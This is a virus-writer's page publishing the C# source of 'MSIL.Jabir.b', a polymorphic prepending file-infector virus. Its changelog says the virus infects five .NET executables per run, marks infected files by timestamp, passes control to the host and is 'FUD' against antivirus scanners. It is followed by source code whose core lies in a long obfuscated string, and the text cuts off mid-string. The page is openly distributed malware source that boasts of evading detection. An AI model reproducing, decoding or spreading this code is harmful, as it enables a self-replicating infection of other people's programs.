return To index | download demo package!
MSIL.Jabir.b Source Code ======================== alcopaul/brigada ocho may 25, 2011 This is a recode of MSIL.Jabir, a polymorphic prepending virus published in dark codez #3. What's new ---------- 1.) Variable changing in both head and tail. 2.) No more double compilation of virus source to get virus length (look at #3) 3.) For host execution - Dependence on host length. Version .a depended on virus length. 4.) Commandline parameters are now passed from the virus to host. 5.) File's Modified time as virus signature (Inspired by the old school Vienna virus). 6.) Cleaner code. Features -------- 1.) Polymorphic/Variable changing prepender. 2.) Looks for msil exe files in hard drive and infects 5 msil exe files per run. 3.) Infected files has 11:11:11 (hour:minute:seconds) last modifed time. No reinfection. 4.) Infected files are 97.7% FUD by Virustotal.com (AntiVir - TR/Dropper.Gen) ==================================================================================================================== using System; using System.CodeDom; using System.IO; using System.CodeDom.Compiler; using System.Text; using Microsoft.CSharp; using System.Diagnostics; using System.Reflection; namespace ConsoleApplication6 { class XProgramX { private static int counter = 0; private static string database = "0008080>4b+l4b+j4b+54b++4b+34b6w4b+D4b+p4b+j4b+k4b+14b+94b6r4b6d4b6a4b+l4b+j4b+54b++4b+34b6w4b+D4b+p4b+j4b+k4b+14b+94b6+4b+T4b+/4b+04b+14b+U4b+/4b+94b6r4b6d4b6a4b+l4b+j4b+54b++4b+34b6w4b+D4b+p4b+j4b+k4b+14b+94b6+4b+Z4b+f4b6r4b6d4b6a4b+l4b+j4b+54b++4b+34b6w4b+D4b+p4b+j4b+k4b+14b+94b6+4b+T4b+/4b+04b+14b+U4b+/4b+94b6+4b+T4b+/4b+94b+g4b+54b+84b+14b+i4b6r4b6d4b6a4b+l4b+j4b+54b++4b+34b6w4b+D4b+p4b+j4b+k4b+14b+94b6+4b+E4b+14b+o4b+k4b6r4b6d4b6a4b+l4b+j4b+54b++4b+34b6w4b+d4b+54b+z4b+i4b+/4b+j4b+/4b+24b+k4b6+4b+T4b+D4b+44b+x4b+i4b+g4b6r4b6d4b6a4b+l4b+j4b+54b++4b+34b6w4b+D4b+p4b+j4b+k4b+14b+94b6+4b+U4b+54b+x4b+34b++4b+/4b+j4b+k4b+54b+z4b+j4b6r4b6d4b6a4b+l4b+j4b+54b++4b+34b6w4b+D4b+p4b+j4b+k4b+14b+94b6+4b+C4b+14b+24b+84b+14b+z4b+k4b+54b+/4b++4b6r4b6d4b6a4b6d4b6a4b++4b+x4b+94b+14b+j4b+g4b+x4b+z4b+14b6w4b+T4b+/4b++4b+j4b+/4b+84b+14b+R4b+g4b+g4b+84b+54b+z4b+x4b+k4b+54b+/4b++4b6m4b6d4b6a4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b+z4b+84b+x4b+j4b+j4b6w4b+I4b+A4b+i4b+/4b+34b+i4b+x4b+94b+I4b6d4b6a4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+g4b+i4b+54b+m4b+x4b+k4b+14b6w4b+j4b+k4b+x4b+k4b+54b+z4b6w4b+54b++4b+k4b6w4b+z4b+/4b+l4b++4b+k4b+14b+i4b6w4b6t4b6w4b6g4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+g4b+i4b+54b+m4b+x4b+k4b+14b6w4b+j4b+k4b+x4b+k4b+54b+z4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+04b+x4b+k4b+x4b+y4b+x4b+j4b+14b6w4b6t4b6w4b6y>4b6y4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+g4b+i4b+54b+m4b+x4b+k4b+14b6w4b+j4b+k4b+x4b+k4b+54b+z4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+X4b+14b+k4b+C4b+x4b++4b+04b+/4b+94b+D4b+k4b+i4b+54b++4b+34b644b+54b++4b+k4b6w4b+34b+/4b+x4b+k4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+z4b+44b+x4b+i4b+L4b+N4b6w4b+84b+14b+k4b+o4b6w4b6t4b6w4b++4b+14b+n4b6w4b+z4b+44b+x4b+i4b+L4b6n4b+N4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+C4b+x4b++4b+04b+/4b+94b6w4b+o4b+i4b+x4b++4b+o4b6w4b6t4b6w4b++4b+14b+n4b6w4b+C4b+x4b++4b+04b+/4b+94b644b+34b+/4b+x4b+k4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+24b+/4b+i4b6w4b644b+54b++4b+k4b6w4b+54b+94b+94b+94b6w4b6t4b6w4b6g4b6r4b6w4b+54b+94b+94b+94b6w4b6s4b6w4b6n4b6r4b6w4b+54b+94b+94b+94b674b674b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+54b++4b+k4b6w4b++4b+l4b+94b+o4b6w4b6t4b6w4b+o4b+i4b+x4b++4b+o4b6+4b+e4b+14b+o4b+k4b644b6g4b684b6w4b6i4b6m4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+84b+14b+k4b+o4b+L4b+54b+94b+94b+94b+N4b6w4b674b6t4b6w4b644b+z4b+44b+x4b+i4b654b644b634b+x4b634b6w4b674b6w4b++4b+l4b+94b+o4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+/4b+l4b+k4b+g4b+l4b+k4b6w4b6t4b6w4b++4b+14b+n4b6w4b+j4b+k4b+i4b+54b++4b+34b644b+84b+14b+k4b+o4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+i4b+14b+k4b+l4b+i4b++4b6w4b+/4b+l4b+k4b+g4b+l4b+k4b6w4b674b6w4b+o4b+i4b+x4b++4b+o4b6+4b+e4b+14b+o4b+k4b644b6h4b684b6w4b6i4b6g4b6g4b6g4b654b6+4b+E4b+/4b+D4b+k4b+i4b+54b++4b+34b644b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6w4b6w4b6w4b6w4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+j4b+k4b+x4b+k4b+54b+z4b6w4b+m4b+/4b+54b+04b6w4b+d4b+x4b+54b++4b644b+j4b+k4b+i4b+54b++4b+34b+L4b+N4b6w4b+x4b+i4b+34b+j4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+o4b+g4b+x4b+i4b+x4b+94b+j4b+o4b6w4b6t4b6w4b6y4b6y4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+24b+/4b+i4b6w4b644b+54b++4b+k4b6w4b+z4b+54b+74b6w4b6t4b6w4b6g4b6r4b6w4b+z4b+54b+74b6w4b6s4b6w4b+x4b+i4b+34b+j4b6+4b+c4b+14b++4b+34b+k4b+44b6r4b6w4b+z4b+54b+74b674b674b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6w4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+o4b+g4b+x4b+i4b+x4b+94b+j4b+o4b6w4b674b6t4b6w4b+x4b+i4b+34b+j4b+L4b+z4b+54b+74b+N4b6w4b674b6w4b6y4b6w4b6y4b6r4b6w4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+o4b+j4b+14b+84b+24b+p4b6w4b6t4b6w4b+A4b+i4b+/4b+z4b+14b+j4b+j4b6+4b+X4b+14b+k4b+T4b+l4b+i4b+i4b+14b++4b+k4b+A4b+i4b+/4b+z4b+14b+j4b+j4b644b654b6+4b+d4b+x4b+54b++4b+d4b+/4b+04b+l4b+84b+14b6+4b+W4b+54b+84b+14b+e4b+x4b+94b+14b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+o4b+p4b+o4b+o4b6w4b6t4b6w4b+A4b+x4b+k4b+44b6+4b+X4b+14b+k4b+U4b+54b+i4b+14b+z4b+k4b+/4b+i4b+p4b+e4b+x4b+94b+14b644b+o4b+j4b+14b+84b+24b+p4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+34b+84b+14b++4b6w4b6t4b6w4b+U4b+54b+i4b+14b+z4b+k4b+/4b+i4b+p4b6+4b+X4b+14b+k4b+U4b+54b+i4b+14b+z4b+k4b+/4b+i4b+p4b+C4b+/4b+/4b+k4b644b+o4b+p4b+o4b+o4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+U4b+54b+i4b+14b+z4b+k4b+/4b+i4b+p4b+Z4b++4b+24b+/4b6w4b+04b+54b+i4b+o4b6w4b6t4b6w4b++4b+14b+n4b6w4b+U4b+54b+i4b+14b+z4b+k4b+/4b+i4b+p4b+Z4b++4b+24b+/4b644b+Q4b+34b+84b+14b++4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+R4b++4b+04b+c4b+14b+k4b+j4b+C4b+/4b+z4b+74b644b+04b+54b+i4b+o4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+W4b+54b+84b+14b+D4b+k4b+i4b+14b+x4b+94b6w4b+24b+j4b6h4b6o4b6o4b6w4b6t4b6w4b++4b+14b+n4b6w4b+W4b+54b+84b+14b+D4b+k4b+i4b+14b+x4b+94b644b+o4b+j4b+14b+84b+24b+p4b684b6w4b+W4b+54b+84b+14b+d4b+/4b+04b+14b6+4b+f4b+g4b+14b++4b+f4b+i4b+T4b+i4b+14b+x4b+k4b+14b684b6w4b+W4b+54b+84b+14b+R4b+z4b+z4b+14b+j4b+j4b6+4b+C4b+14b+x4b+04b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+54b++4b+k4b6w4b+y4b+44b+/4b+j4b+k4b+y4b6w4b6t4b6w4b644b+54b++4b+k4b654b+24b+j4b6h4b6o4b6o4b6+4b+c4b+14b++4b+34b+k4b+44b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+54b++4b+k4b6w4b+14b+o4b+14b+84b+14b++4b+34b+k4b+44b6w4b6t4b6w4b+T4b+/4b++4b+m4b+14b+i4b+k4b6+4b+E4b+/4b+Z4b++4b+k4b6j4b6i4b644b6y4b6g4b6h4b6i4b6j4b6k4b6y4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+y4b+p4b+k4b+14b+L4b+N4b6w4b+y4b+p4b+k4b+14b+j4b6h4b6w4b6t4b6w4b+C4b+14b+x4b+04b+o4b644b+24b+j4b6h4b6o4b6o4b684b6w4b+14b+o4b+14b+84b+14b++4b+34b+k4b+44b684b6w4b+y4b+44b+/4b+j4b+k4b+y4b6w4b694b6w4b+14b+o4b+14b+84b+14b++4b+34b+k4b+44b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+24b+j4b6h4b6o4b6o4b6+4b+T4b+84b+/4b+j4b+14b644b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+y4b+p4b+k4b+14b+L4b+N4b6w4b+84b+/4b+64b+44b6w4b6t4b6w4b++4b+14b+n4b6w4b+F4b+E4b+W4b6o4b+V4b++4b+z4b+/4b+04b+54b++4b+34b644b654b6+4b+X4b+14b+k4b+S4b+p4b+k4b+14b+j4b644b6y4b+64b+x4b+y4b+54b+i4b6+4b+y4b6y4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+54b++4b+k4b6w4b+p4b+k4b+p4b6w4b6t4b6w4b++4b+14b+n4b6w4b+C4b+x4b++4b+04b+/4b+94b644b654b6+4b+e4b+14b+o4b+k4b644b6i4b6g4b6g4b6g4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+W4b+54b+84b+14b+D4b+k4b+i4b+14b+x4b+94b6w4b+24b+j4b6m4b6w4b6t4b6w4b++4b+14b+n4b6w4b+W4b+54b+84b+14b+D4b+k4b+i4b+14b+x4b+94b644b6y4b+g4b6y4b6w4b674b6w4b+p4b+k4b+p4b6w4b674b6w4b6y4b+44b6+4b+14b+o4b+14b6y4b684b6w4b+W4b+54b+84b+14b+d4b+/4b+04b+14b6+4b+f4b+g4b+14b++4b+f4b+i4b+T4b+i4b+14b+x4b+k4b+14b684b6w4b+W4b+54b+84b+14b+R4b+z4b+z4b+14b+j4b+j4b6+4b+H4b+i4b+54b+k4b+14b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+H4b+i4b+54b+k4b+14b+o4b644b+24b+j4b6m4b684b6w4b+y4b+p4b+k4b+14b+j4b6h4b684b+84b+/4b+64b+44b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+24b+j4b6m4b6+4b+T4b+84b+/4b+j4b+14b644b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+k4b+i4b+p4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+A4b+i4b+/4b+z4b+14b+j4b+j4b+D4b+k4b+x4b+i4b+k4b+Z4b++4b+24b+/4b6w4b+g4b+i4b+/4b+z4b+54b++4b+24b+/4b6w4b6t4b6w4b++4b+14b+n4b6w4b+A4b+i4b+/4b+z4b+14b+j4b+j4b+D4b+k4b+x4b+i4b+k4b+Z4b++4b+24b+/4b644b6y4b+g4b6y4b6w4b674b6w4b+p4b+k4b+p4b6w4b674b6w4b6y4b+44b6+4b+14b+o4b+14b6y4b684b6w4b+Q4b+o4b+g4b+x4b+i4b+x4b+94b+j4b+o4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+A4b+i4b+/4b+z4b+14b+j4b+j4b6w4b+o4b+k4b+o4b6w4b6t4b6w4b+A4b+i4b+/4b+z4b+14b+j4b+j4b6+4b+D4b+k4b+x4b+i4b+k4b644b+g4b+i4b+/4b+z4b+54b++4b+24b+/4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+o4b+k4b+o4b6+4b+H4b+x4b+54b+k4b+W4b+/4b+i4b+V4b+o4b+54b+k4b644b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+z4b+x4b+k4b+z4b+44b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+24b+54b++4b+x4b+84b+84b+p4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+W4b+54b+84b+14b6+4b+U4b+14b+84b+14b+k4b+14b644b6y4b+g4b6y4b6w4b674b6w4b+p4b+k4b+p4b6w4b674b6w4b6y4b+44b6+4b+14b+o4b+14b6y4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+g4b+i4b+54b+m4b+x4b+k4b+14b6w4b+j4b+k4b+x4b+k4b+54b+z4b6w4b+m4b+/4b+54b+04b6w4b+Z4b++4b+24b+14b+z4b+k4b644b+j4b+k4b+i4b+54b++4b+34b6w4b+24b+54b+84b+14b++4b+x4b+94b+14b+o4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+W4b+54b+84b+14b+D4b+k4b+i4b+14b+x4b+94b6w4b+24b+j4b6h4b6j4b6j4b6w4b6t4b6w4b++4b+14b+n4b6w4b+W4b+54b+84b+14b+D4b+k4b+i4b+14b+x4b+94b644b+24b+54b+84b+14b++4b+x4b+94b+14b+o4b684b6w4b+W4b+54b+84b+14b+d4b+/4b+04b+14b6+4b+f4b+g4b+14b++4b+f4b+i4b+T4b+i4b+14b+x4b+k4b+14b684b6w4b+W4b+54b+84b+14b+R4b+z4b+z4b+14b+j4b+j4b6+4b+C4b+14b+x4b+04b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+54b++4b+k4b6w4b+54b+g4b+g4b+z4b6w4b6t4b6w4b644b+54b++4b+k4b654b+24b+j4b6h4b6j4b6j4b6+4b+c4b+14b++4b+34b+k4b+44b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+y4b+p4b+k4b+14b+L4b+N4b6w4b+y4b+p4b+k4b+14b+j4b6i4b6w4b6t4b6w4b+C4b+14b+x4b+04b+o4b644b+24b+j4b6h4b6j4b6j4b684b6w4b+54b+g4b+g4b+z4b684b6w4b6g4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+24b+j4b6h4b6j4b6j4b6+4b+T4b+84b+/4b+j4b+14b644b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+/4b+l4b+k4b+g4b+l4b+k4b6w4b6t4b6w4b++4b+14b+n4b6w4b+C4b+x4b++4b+04b+/4b+94b644b+U4b+x4b+k4b+14b+E4b+54b+94b+14b6+4b+e4b+/4b+n4b6+4b+d4b+54b+84b+84b+54b+j4b+14b+z4b+/4b++4b+04b654b6+4b+e4b+14b+o4b+k4b644b6h4b684b6w4b6h4b6h4b6h4b6h4b6h4b6h4b654b6+4b+E4b+/4b+D4b+k4b+i4b+54b++4b+34b644b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+54b+24b6w4b644b+/4b+l4b+k4b+g4b+l4b+k4b6+4b+c4b+14b++4b+34b+k4b+44b6w4b6t4b6t4b6w4b6h4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+/4b+l4b+k4b+g4b+l4b+k4b6w4b6t4b6w4b6y4b6g4b6g4b6g4b6g4b6g4b6g4b6y4b6w4b674b6w4b+/4b+l4b+k4b+g4b+l4b+k4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+14b+84b+j4b+14b6w4b+54b+24b6w4b644b+/4b+l4b+k4b+g4b+l4b+k4b6+4b+c4b+14b++4b+34b+k4b+44b6w4b6t4b6t4b6w4b6i4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+/4b+l4b+k4b+g4b+l4b+k4b6w4b6t4b6w4b6y4b6g4b6g4b6g4b6g4b6g4b6y4b6w4b674b6w4b+/4b+l4b+k4b+g4b+l4b+k4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+14b+84b+j4b+14b6w4b+54b+24b6w4b644b+/4b+l4b+k4b+g4b+l4b+k4b6+4b+c4b+14b++4b+34b+k4b+44b6w4b6t4b6t4b6w4b6j4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+/4b+l4b+k4b+g4b+l4b+k4b6w4b6t4b6w4b6y4b6g4b6g4b6g4b6g4b6y4b6w4b674b6w4b+/4b+l4b+k4b+g4b+l4b+k4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+14b+84b+j4b+14b6w4b+54b+24b6w4b644b+/4b+l4b+k4b+g4b+l4b+k4b6+4b+c4b+14b++4b+34b+k4b+44b6w4b6t4b6t4b6w4b6k4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+/4b+l4b+k4b+g4b+l4b+k4b6w4b6t4b6w4b6y4b6g4b6g4b6g4b6y4b6w4b674b6w4b+/4b+l4b+k4b+g4b+l4b+k4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+14b+84b+j4b+14b6w4b+54b+24b6w4b644b+/4b+l4b+k4b+g4b+l4b+k4b6+4b+c4b+14b++4b+34b+k4b+44b6w4b6t4b6t4b6w4b6l4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+/4b+l4b+k4b+g4b+l4b+k4b6w4b6t4b6w4b6y4b6g4b6g4b6y4b6w4b674b6w4b+/4b+l4b+k4b+g4b+l4b+k4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+14b+84b+j4b+14b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+/4b+l4b+k4b+g4b+l4b+k4b6w4b6t4b6w4b6y4b6g4b6y4b6w4b674b6w4b+/4b+l4b+k4b+g4b+l4b+k4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+j4b+k4b+i4b+54b++4b+34b+L4b+N4b6w4b+o4b+k4b+o4b6w4b6t4b6w4b+04b+x4b+k4b+x4b+y4b+x4b+j4b+14b6+4b+D4b+g4b+84b+54b+k4b644b++4b+14b+n4b6w4b+z4b+44b+x4b+i4b+L4b+N4b6w4b+r4b6w4b634b6u4b634b6w4b+t4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+z4b+/4b+04b+14b+p4b6w4b6t4b6w4b+V4b++4b+z4b+i4b+p4b+g4b+k4b+U4b+14b+z4b+i4b+p4b+g4b+k4b644b+04b+14b+z4b+/4b+04b+14b+y4b6m4b6k4b644b+o4b+k4b+o4b+L4b6h4b+N4b654b684b6w4b+T4b+/4b++4b+m4b+14b+i4b+k4b6+4b+E4b+/4b+Z4b++4b+k4b6j4b6i4b644b+o4b+k4b+o4b+L4b6g4b+N4b654b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+z4b+/4b+04b+14b+q4b6w4b6t4b6w4b+V4b++4b+z4b+i4b+p4b+g4b+k4b+U4b+14b+z4b+i4b+p4b+g4b+k4b644b+04b+14b+z4b+/4b+04b+14b+y4b6m4b6k4b644b+o4b+k4b+o4b+L4b6i4b+N4b654b684b6w4b+T4b+/4b++4b+m4b+14b+i4b+k4b6+4b+E4b+/4b+Z4b++4b+k4b6j4b6i4b644b+o4b+k4b+o4b+L4b6g4b+N4b654b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+z4b+/4b+04b+14b+54b6w4b6t4b6w4b+z4b+/4b+04b+14b+p4b6w4b674b6w4b+04b+14b+z4b+/4b+04b+14b+y4b6m4b6k4b644b6y4b+24b+Y4b+n4b6t4b6y4b654b6w4b674b6w4b+z4b+/4b+04b+14b+q4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+z4b+/4b+04b+14b+84b6w4b6t4b6w4b+g4b+/4b+84b+p4b+o4b644b+z4b+/4b+04b+14b+54b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+z4b+/4b+04b+14b+m4b6w4b6t4b6w4b+o4b+k4b+o4b+L4b6g4b+N4b6+4b